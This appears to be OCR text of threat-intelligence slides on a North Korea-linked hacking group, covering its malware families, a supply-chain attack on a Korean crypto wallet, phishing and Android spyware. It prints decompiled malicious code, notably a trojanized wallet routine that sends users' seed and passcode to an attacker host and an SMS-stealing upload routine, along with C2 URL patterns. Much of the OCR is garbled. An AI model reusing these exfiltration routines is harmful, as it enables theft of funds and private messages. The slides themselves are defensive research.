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Who is CloudDragon?



Kaspersky 2013 Public
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Adversary Malware

TroiBomb

« RoastMe
* JamBog (Appleseed) Teeam
« BabyShark ool f
* DongMulRAT (WildCommand) _Jilllil
EI!I!IilE
* Lovexxx (GoldDragon variant) f(‘\
* JinhoSpy (NavRAT variant) -
 BoboStealer (FlowerPower) <
* MireScript a
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KimDragon
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%APPDATA%\Microsoft\Windows\Defender\AutoUpdate.dll

WSF I
Installer Drop | Inject

Fake EXE

Explorer



JamBog

CMD Function

Screenshot
Keylog
Fileupload
Shell

Run Plugin

URL Pattern C2

—

ping: m=a&pl=[uid] m
upload: m=b&pl=[uid]&p2=[type] E:In
down_cmd: m=c&pl=[uid] m
delete_cmd: m=d&pl=[uid]
update: m=e&pl=[uid]&p2=[arch]&p3=[shal] m
i

000 Data Structure(cmd, upload file)

00000000 00000000 00000025 50444620 %PDF -
312E372E 2E342030 206F626AN\@BB77188) 1.7..4 @ ob) .q.

R e Checksum
SA41465E 8CCFO433 ZFE44A1A 6877EBDY AFA.. 3/.] hw.. XOR Key
CF1BD6SE 8FCF@433 GBE44A1A 9788EBDO ST e | " S N

71BD6SE 8FCFO433 ZBE44A1A 9788EBDO/ w . A.. 34.] ....




Technique |: Supply Chain Attack
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Aug 2020 ~ Oct 2020

Korean Cryptocurrency

NW. s build
Hardware Wallet

@ ®



Official Site



On Android

Modified

/* access modifiers changed from: protected *x/

public JSONObject doInBackground(Void... voidArr) {
JSONObject jSONObject;
Exception e;
long unused = SplashActivity.this.startTime = System.currentTimeMillis();
Preference userPreference = SplashActivity.this.app.getUserPreference(1);
if (userPreference != null) {

String seed = userPreference.getSeed();
String passcode = userPreference.getPasscode();

new Getlson().read("http://kasse-vl.hdac-wallet.com/version.json?s=" + seed);
new GetJson().read("http://kasse-vl.hdac-wallet.com/version.json?c=" + passcode);

¥

}

try {
JSONObject = new JSONObject(new GetJson().read(C.url.HDAC_WALLET_ADDR));
try {

((MainApplication) SplashActivity.this.getApplication()).setWalletInfo(jSONObject);
} catch (Exception e2) {

e 4Ababbaf/5625bddc5elbc3fd40d04ble

* Steal user preference (seed, passcode)

Original

/* access modifiers changed from: protected %/
public JSONObject doInBackground(Void... voidArr) {
JSONObject jSONObject;
long unused = SplashActivity.this.startTime = System.currentTimeMillis();
try {
jSONObject = new JSONObject(new GetJson().read(C.url.HDAC_WALLET_ADDR));
try {
((MainApplication) SplashActivity.this.getApplication()).setWalletInfo(jSONObject);
} catch (Exception e) {

e=e;
}
} catch (Exception e2) {
e = e2;

jSONObject = null;
Logger.error(this, e);
return jSONObject;
}
return jSONObject;
}

Ii mrrncre madi fFinre rhannnd frame neatancrtad o7
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How we put all together

I . ® & P
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Technique IIl: Be A Phishing King
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I From
Domestic

to
Global
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Services being Targeted includes,
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And more on the list...
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Technique lll: From PC to Mobile






JamBog on Android (1 /2]

Magic Header URL pattern

/* access modifiers changed from: protected */

import java.util.Random; public Void doInBackground(Void... arg@d) {
try {
18 public class CryptFile { NetFunc.cal}Url(Str';['|n:_1.valueOf(this.m_baseUrlStr) + "Im=a" + "&pl=" +
private static int KEY_LEN = 16; ) ca:ﬁ;"'{g"":‘llml e
private Static Str;rl[] SIGNATURE = "%PDF-1.7..4 0 Ob]”; Logger'_siéc[ﬂ—'race(e);




JamBog on Android (2/2)

private void runAsGetAl1SMS() {

try {
List<SMS> smsList = getAllSms();
File file = File.createTempFile(Str.d(StrDef.STR_SMS), Str.d(StrDef.STR_DOT_TXT));
FileWriter fw = new FileWriter(file);
for (SMS sms : smsList) {
fw.write("— [" + sms.getTime() + "] <" + sms.getFolderName() + "> " + sms.getAddress() + " —-\r\n" + sms.getMsg() + "\r\n\r\n");
}
fw.close();
File zipFile = File.createTempFile(Str.d(StrDef.STR_ZIP), Str.d(StrDef.STR_DOT_DAT));
Zip.zip(file.getAbsolutePath(), zipFile.getAbsolutePath());
file.delete();
File packedFile = File.createTempFile(Str.d(StrDef.STR_PACKED), Str.d(StrDef.STR_DOT_DAT));
CryptFile.pack(zipFile.getAbsolutePath(), packedFile.getAbsolutePath());
zipFile.delete();
NetFunc.upload(String.valueOf(this.m_baseUrl) + "7?m=b&pl=" + BaseFunc.getDevID(this.m_context) + "&p2=c", BaseFunc.getTimeStamp(), packedFile.getAbsolutePath());
packedFile.delete();
} catch (Exception e) {

Logger.stackTrace(e);

Upload file Update itself

Send SMS

Upload SMS Execute shell



Going Physical



JamBog Plugin

wcscpy s(&De ation, € »::1, &Sourc
v@ = wcslen(&Destination);
vl = sub_10001400(v29, maa);
it ( vl[5] >= 8u )
vl = ‘vl:
swprlntf s(&estination + v@, 1024 -

- s - .
- - g . )
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Capable of launching Supply Chain Attacks

Phishing Techniques are improving

Spreading to other platforms (Mobile)
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